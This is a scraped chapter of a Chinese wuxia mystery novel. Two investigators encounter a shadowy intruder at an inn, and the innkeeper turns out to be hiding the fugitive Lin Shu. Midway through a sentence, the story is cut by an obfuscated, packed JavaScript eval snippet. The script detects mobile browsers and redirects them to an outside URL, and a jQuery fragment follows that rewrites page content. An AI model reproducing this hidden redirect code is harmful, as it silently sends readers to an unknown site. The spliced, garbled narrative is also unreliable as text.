探臣俱生我执

16. 空亡其四

    南邑城内。


    欣赏风光是假的,查探消息是真的。宋景熙和韩时元二人费了一阵,跑了各种酒家茶馆,所打探到的消息和魏老板所说的大差不差——由于流言传得甚广,所以不同版本有不同的说法。


    边走,宋景熙边道:“这么类比下来,居然只有魏老板说的最合情合理。看来南邑人很爱好传言啊?”


    韩时元颔首道:“或许魏老板是从众多说法中挑出了最合理的,然后再将之讲与我们听。不过关于案情的更多细节并没有答案,譬如,林树口中所说的‘真凶’的证词,竟并未流传出来。”


    宋景熙道:“看来这点的答案只能从南邑衙门的卷宗里得到了。天将黑了,若是要去官衙索取也不着急。不如先回客栈歇息,我们明日再前往?”


    韩时元没有异议。


    ......


    无名客栈。


    夜半。


    这一觉,宋景熙睡得并不安稳。一阵莫名的冷气不知从何而来,灌进房间里,竟然将他弄醒了。


    宋景熙迷迷糊糊睁开一只眼,看见房门竟然开着——他睡前明明已经将房门关上了。就在他从准备从榻上起身去关门时,从门沿边缓缓出现一道黑影,卡在只开了一半的门缝间,然后便一动不动了。这应该是个人,但十分模糊,甚至看不清是正对着他还是背对着他。


    但宋景熙觉得,这人应该是在看他。


    他可不经吓,刚看到这黑影便被吓醒了,好歹没有叫出来,代价就是吓出一身冷汗。现在他紧张地躺在榻上,瞪眼盯着黑影。


    好在他一直有个习惯,便是无论去哪,都要背着他的刀;他还有一个好习惯,便是无论睡在哪,睡前都会将刀卸下来,放在榻旁。即便是黑夜里,只要随手一摸便能摸到。比如现在就已经摸到了他的刀。


    黑影一直没有动作,只是完全静止地停在门口。但宋景熙是有动作的,表面上一副依然安睡的模样,但被褥底下,他正缓缓地移动右手,先是冰冷的刀鞘,然后是凹凸不平的刀柄。他握紧刀,计算着如果黑影突然发难,会怎样发难,自己又要怎么应对。


    然而奇怪的是,黑影就是一直没有动作。宋景熙眯了眯眼,现在他被吓到的心脏也缓下来了,胆子也大了点,试探性地抬了抬头,发现黑影依旧没有动作后,便干脆慢慢坐了起来。


    这期间,他的手一直没有离开刀柄。一人一影就这么对视了一会,也不知过了多久,忽然,黑影轻微晃了晃,然后转身消失了。


    宋景熙长呼一口气。赶紧从榻上起身,就着一片漆黑摸到烛台前,用火镰擦亮蜡烛,然后一手举着烛台,一手握着刀,小心翼翼地走出了房间。


    二楼走廊里空无一人,所有房门也都紧闭着,没见到任何人,也没有任何异样。这很奇怪。宋景熙心道:“难不成,那黑影人下楼了?”


    想到这,他又小心翼翼地走到楼梯边,借着烛火往一楼看去。烛火能照到的地方有限,宋景熙便往下走了几步,下到一半了,发现一楼的客堂一样是空无一人,静悄悄的。


    黑影人不可能凭空消失,或许离开了客栈?但这不太可能,因为客栈的门已经被魏老板上锁了,除非那黑影能飞或者遁地。这么想着,宋景熙摇摇头否定了这一猜想。既然如此,那么黑衣人能藏的地方就只有......房间里!


    背后一阵推门声!


    宋景熙猛然转身,横刀护在身前。


    然而他眼前的不是别人,竟是韩时元。


    宋景熙惊讶道:“是你?”


    韩时元和他一样,一样只穿了件中衣。这不由得让宋景熙多看了几眼,先前总看他一身黑,如今一身白,两个极端,倒是不一样的感觉。


    韩时元嗯了声,不像是刚睡醒,声线十分平稳:“睡得浅,听到外面有脚步声便醒了,出来看看。你也听到了?”


    宋景熙将刀收回,道:“不是,我方才莫名醒来,看见房门口竟然有个黑影。那人也不进来,只是站在那里,待了很久才离开。我想着出来找找,原来你也醒了。你听到的脚步声,难不成正是那人?呃不过,也有可能是我的脚步声。”


    韩时元思索一阵,而后道:“离我听到脚步声到现在已经有一阵子了,所以吵醒我的脚步声应该正是黑影。并且此前我还听到过一声推门的声音,看来他开的正是你的门。”


    楼上好几间房,偏偏选中他。宋景熙只能自认倒霉,又想起消失的黑影人,便道:“不知他为何没有进来,待了会便离开了,现在不知道他去哪里了,二楼和一楼都没有他的身影......”


    “难道......”宋景熙说出心中猜想:“他不会进了谁的房间吧?”


    韩时元点头道:“很有可能。说不定他并未下楼,而是就藏在二楼的某个房间里,或许,正在偷听我们的谈话。”


    宋景熙毛骨悚然道:“你这么说就有些吓人了。又不是个鬼,既然藏着,抓他出来便是了。”


    韩时元哈哈一笑,道:“人比鬼可怕啊。”


    片刻后。


    二楼也就几个房间,都空空荡荡的,除了几样简单的家具,什么都没有,更别说半个人了。


    宋景熙道:“看来他往一楼去了,我们下楼看看。你有刀吗?”


    韩时元像变戏法一般,从背后变出一把短刀,宋景熙认出来这是他平常就喜欢佩戴在腰间的刀,刀鞘和刀柄全黑,也没有任何工艺,十分趁手且不起眼的一把。不仅如此,韩时元还将短刀抽了出来,和他的手掌一般长,在烛火下泛着冷色的光。


    宋景熙道:“这...也行,好像从未见你用过?你就没有一把长的?哎无事,万一出了事,我保护你。”


    韩时元温声道:“好。”


    烛光下,他的脸部线条更显流畅,宛如雕塑,眼睛也亮晶晶的,宋景熙竟鬼使神差地没有移开眼睛,定定地看了会。


    啊————


    一声凄厉的尖叫响彻整个客栈,随即是此起彼伏的好几声尖叫。都是从一楼传来的。宋景熙回神,和韩时元对视一眼,两人当即朝楼下奔去。


    具体来说,凄惨的叫声是从伙计们的房间里传出来的。两人刚下到一楼,伙计房间的大门便轰然炸开。几个伙计抱成一团拼命向外逃跑,木门承受不住这样的推力,一股脑将伙计们吐了出来。


    伙计们砸在地上,哎哟哎哟叫成一片。宋景熙赶紧上前关切道:“你们没事吧?”


    几个伙计看见两位客人就在眼前,手里还有蜡烛和刀,于是赶紧从地上爬起来,逃到两人背后,揉胳膊的揉胳膊,按腿的按腿,皆是一副被吓破胆了的模样。其中一位伙计捂着心口喘着大气控诉道:“客人,那、那里,那里有,有!”


    宋景熙耐心安抚道:“不着急,慢慢说,有什么?”


    伙计猛拍心口,吐了几口气,道:“有人!”


    伙计话音刚落,宋景熙心中便道:“那黑影果然跑到这来了!”


    伙计继续道:“妈、吗呀...太吓人了!我正睡得好好的,突然听到有人在我脚边说话,睁眼一看,有团人影蹲在那里对着我哦不,对着我脚说话,我还以为是老黄这个家伙!”


    被唤作“老黄”的伙计道:“放屁!我也睡得好好的,干什么到你脚边说话,你有病啊!我也是听到有人在我耳朵边说话,我还以为是大田那家伙,我就给了他一巴掌,让他滚一边去!”


    被唤作“大田”的伙计道:“你也净瞎掰扯!我睡得可死,要不是你一嗓子给我吓醒了,还说什么有鬼,我也不至于被吓得跑出来!”


    老黄道:“你先别说话!我给了那个家伙一巴掌以后,没想到他突然一声不吭掐住我脖子,吓得我赶紧反手去打,结果他又突然松手,抓住我胳膊狠狠咬了一口!还好我劲大,给他甩开了。哎你们看,血淋淋的,痛死人了!”


    老黄的胳膊上果然有一道吓人的口子,深深的齿印里血肉都快模糊了。


    大田看了口子,骂道:“这是人咬的,那你干啥说有鬼,哥几个最怕鬼了你又不是不知道!有病啊给我吓得。”


    老黄溜了溜眼珠子,挠挠脑袋,有些心虚道:“嘿嘿,没醒的时候我正好在做噩梦嘛,梦到有人说要杀我咧,嘿嘿,嘿嘿嘿...”忽而又横眉道:“咱们南邑这地界就这样,不止商人货郎喜欢来,犯了事的也乐意往这逃,这闯进来的定是个逃犯!不对啊门不是锁着呢嘛,那家伙怎么进来的,还这么巧进了我们房间!诶对了,里头那家伙怎的好像一直没动静啊!客人,要不...您进去看看?”


    大田道:“你为啥不自己进去。”


    老黄心有余悸道:“啧!我手上没东西,怕进去了挨咬啊!那家伙万一是个穷凶恶极的,手里有刀咋办。”


    宋景熙捂了捂脸,随即凝目道:“别害怕,我们先进去看看。”他朝韩时元一挥手,两人便踏进了房间。


    房间里,有一人正躲在靠近房门的墙角里,蜷缩成一团,埋着手臂和脑袋,只露出两只脏兮兮的脚。而且,正在轻微地颤抖着。


    见有光照进来,角落里的人脑袋动了动,抬起了头。


    看见这人的相貌,宋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773765|157869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景熙和韩时元皆是一惊。


    因为这人和悬赏令上的画像长得一模一样,正是林树!


    不,也不一样,虽然外表相貌和悬赏令上的一样,但眼神不一样。画像上的林树眼神凶恶狠戾,而他们眼前的林树,双眼空洞无神,虽然脸对着他们,眼里却好像没有他们,或者说,不止他们,根本没有任何东西。


    “......”宋景熙道:“他是林...”


    “老板!”


    外头同时响起一这声喊。接着魏老板竟突然出现,他竟冲了进来,眼里满是惊慌,朝角落里的人道:“啊!你在这!”


    他又朝屋内二人看去,似乎想说什么,但上下两瓣嘴唇止不住地打颤,最终什么也没说。然后仿佛下定了什么决心般,赶紧从地上拾起一件衣服,一股脑盖到林树头上,遮住了林树的脸。


    林树脑袋刚被套上,就像变了一个人般开始剧烈挣扎。魏老板跪在地上,隔着衣服抱住林树的脑袋,颤颤巍巍道:“别怕,是我,是我,我是魏叔,是我啊小树......”


    有好奇的伙计伸着脑袋进来看,魏老板便转头低声呵斥:“出去!”然后又重复对林树说的话。如此重复了十几遍,林树竟然逐渐冷静了下来,没有再挣扎或者颤抖,反而用一种极其细微和迷茫的语气道:“魏叔......”


    “是我,魏叔在这。和魏叔走,好不好?”


    布袋脑袋迟疑地上下点了点,魏老板小心翼翼地将林树扶了起来,并且再次仔细将林树脑袋上的衣服盖严实了,生怕它掉下来。一大一小搀扶着缓慢走出房间,走了几步,魏叔又扭头看着地上,不敢直视屋内两人,叹息一声道:“请两位大人随我来吧。”


    这是在说宋景熙和韩时元了。


    房间外,客栈的正门也打开了,放在门处的棍子也被伙计们握在了手里。见魏老板扶着一个人出来,几个伙计皆是面面相觑,老黄抓抓脑袋道:“老板你这是?”


    老板挥了挥手:“没什么,这是我侄子,在这借宿几天。吓到你们了,你们这两天还是先休息着吧,客栈先关门几日。没啥事,都散了散了。”


    等几人上了楼,老黄又挠了挠脑袋:“老板哪来的侄子,这么多年不一直都是一个人吗。”


    二楼,尽头房间。


    闭门前,宋景熙似乎有些担心,朝外面望了望,却听魏老板道:“他们不会上二楼的,都是很守规矩的家伙。”


    宋景熙没说话,韩时元没说话,都没说话。


    宋景熙关了门,先声问道:“这位是魏老板你的侄子?”


    魏老板将林树放在地上,跪在地上,背对着宋景熙和韩时元,道:“哈哈...让二位见笑了,我侄子和常人有些不一样,想不到竟然会出来吓人,真是万分抱歉...”


    韩时元靠在墙边,双臂环于胸前,面无表情道:“魏老板的侄子叫林树?”


    魏老板的身影一僵。


    宋景熙并不吃惊,转头看了韩时元一眼,那神情好似在说:“原来你也这么想。”他冷静道:“是吗?魏老板。”


    魏老板沉默了一瞬,而后道:“看来二位不是普通行客,也是为了悬赏令而来吗?”


    片刻后,没有回答。但沉默也差不多是回答了。


    “唉,看二位的衣着打扮,怎么会是那些靠赏金谋生的家伙。二位一早便知道灭门案,恐怕此番来南邑,也是为了此案而来吧。二位,是汉阳派来缉拿逃犯的?”


    汉阳派来缉拿逃犯的人?这个身份,还挺适合拿来用用的。宋景熙毫不犹豫便道:“是。”


    “好吧,我明白了。”魏老板掀开盖在林树头上的衣服,林树削痩的脸上满是迷茫,魏老板看了一眼,便闭眼叹息道:“二位有什么便问吧。”这语气,颇有种自暴自弃的意味。


    韩时元道:“何须我们问,魏老板不该自己交代么?”


    宋景熙把他的话扩充了一下:“魏老板,私藏灭门案的凶手也是死罪,林树为何会在你手上?”


    坐在地上的林树眼睛里的迷茫转变为了惊恐,他抬头看了这两名陌生人好几眼,害怕地道:“魏叔...他们是谁...”


    魏老板拍拍林树的背,安抚道:“小树啊别害怕,他们是好人,不会伤害你的,你要是害怕,就闭上眼睛,捂住耳朵,好不好?”


    林树听话地闭上了眼睛,捂住了耳朵。魏老板喃喃了一阵别害怕,才站了起来,不待多问,便道:“二位大人,小树他的确不是我的侄子,和我没有任何血缘关系。但我很早以前,就认识这孩子了。”